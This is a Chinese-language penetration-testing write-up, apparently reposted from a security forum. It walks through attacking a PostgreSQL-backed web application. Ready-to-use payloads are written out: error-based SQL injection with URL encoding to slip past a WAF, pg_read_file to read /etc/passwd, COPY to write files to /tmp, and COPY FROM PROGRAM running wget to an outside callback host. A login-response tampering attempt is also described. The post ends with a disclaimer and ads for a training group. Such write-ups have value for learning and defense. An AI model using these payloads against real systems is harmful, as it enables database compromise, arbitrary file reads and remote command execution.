文章总结: 本文分享了PostgreSQL数据库渗透测试实战案例,详细讲述了绕过WAF利用报错注入获取库名、使用pg_read_file函数读取任意文件、通过COPY命令写入文件以及尝试命令执行的过程。作者还记录了登录绕过的尝试与失败原因,最终通过验证高危漏洞证明了系统的安全性缺陷。
综合评分: 85
文章分类: 渗透测试,漏洞分析,WEB安全,实战经验
未授权漏洞渗透技巧总结分享(十)
L1NG
C4安全
2026年1月8日 10:28
江苏
原文作者:L1NG
原文链接:https://forum.butian.net/share/1344
未授权访问
书接上回,从登录框开始挖到了一些漏洞,然后接下来挖掘
0x01PDSQL注入
回归企业用户注册正题来了,接下来干货满满
点击搜索按钮抓包,发现一个搜索的数据包通过对单引号报错以及双单引号闭合,发现了一个sql注入
尝试输入payload,好家伙存在阿某云WAF,sqlmap也跑不了了,只能手注入了
先通过报错查看是什么类型的数据库,通过查询报错语句最终定位是PostgreSQL,这属实有点少见噢
先查看报错的地方来定位sql语句再来构造报错语句,在参数后面添加'11可以看到下面报错sql语句长这样 SELECT * FROM tbl_org WHERE(name '%%' AND type=400) ,传入的数据在两个百分号之间。
一开始我尝试在参数后面添加’;payload–+,这样子堆叠注入结果是被拦截了,没办法了只能请大哥-坏学生来帮帮我,不愧是大哥两个小时秒了,给了我一个语句'||(to_date(substring(current_database()from 1 for 1),'qwe'))||'和一张图片
现在来分析一下这个语句,单引号’是用来闭合原本语句中的前单引号’,符号“||”则是用来拼接字符串,意思就是在PDSQL中,一个Select语句可以同时执行多个语句。继续看to_date这个函数的用法
这个函数是用来出错的,substring(current_database)通过将数据库名字拆成一个个字符,然后与后面的qwe进行比较,如果出错就会报出数据库的名字,通过修改from后面的数字可以修改数据库的第几位字符,这样就把数据库名字给注入出来了。tip:这里的语句需要使用URL编码加密过WAF不然会被拦截。
查看历史数据包内容发现在加载小区的时候也进行了一次查询,同理在该参数也存在SQL注入,高危漏洞又+1
0x02任意文件读取
继续查看PDSQL的一些高级注入手法发现,可以读取文件和写入文件,通过'||(to_date(pg_read_file('/etc/passwd',2,20),'qwe'))||',即可读取文件了,该方法同理也是用一个个字符报错得出的,通过修改文件后面的第一位数字就可以读取,任意文件读取高危漏洞+1。
0x03任意文件写入
使用PDSQL的文件写入方法,利用payload:1');COPY (select 1234) to '/tmp/2.jsp';--,并且用URL编码加密在tmp目录下2.jsp文件写入1234
然后使用'||(to_date(pg_read_file('/tmp/2.jsp',4,20),'qwe'))||'查询tmp目录下的2.jsp,已经上传成功了
如果使用'||(to_date(pg_read_file('/tmp/3.jsp',4,20),'qwe'))||'读取tmp目录下3.jsp是不存在的
这里不知道网站的绝对路径就只能证明可以上传了,因为网站是用的spring框架,不知道是在哪里打的jar包。有一个小技巧是通过读取/root/.bash_history查看历史命令就可以看到项目的具体路径不过太麻烦了只能一个个字符读取,索性放弃了。
0x04命令执行
使用payload:1');CREATE TABLE zz(zz_output text);COPY zz FROM PROGRAM 'wget http://XX.XX.ceye.io/1.jpg';--
远程执行命令看看ceye平台有无回显,可惜数据库服务器不给力,直接退出进程了。
期间还试过注册了账号,不过需要审批才能使用功能只能登陆,以及尝试利用信息收集到的手机号再结合我登入成功的数据包替换返回包尝试任意用户登陆,不过出了点问题数据加载不出来,估计存在二次校验。
秉持着可持续发展原则,这次渗透就到这里了,鸣谢我同事潇师傅以及坏学生大佬的帮助~咱们下次再见
#
结语
感兴趣的师傅可以公众号私聊我进团队交流群,咨询问题,hvv简历投递,nisp和cisp考证都可以联系我
内部src培训视频,内部知识圈,可私聊领取优惠券,加入链接:https://wiki.freebuf.com/societyDetail?society_id=184
安全渗透感知大家族
(新人优惠券折扣20.9¥,扫码即可领取更多优惠)
加入团队、加入公开群等都可联系微信:yukikhq,搜索添加即可
END
往期回顾
FOFA API 驱动的团队资产发现工具 – Cloud Server
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:C4安全 L1NG《未授权漏洞渗透技巧总结分享(十)》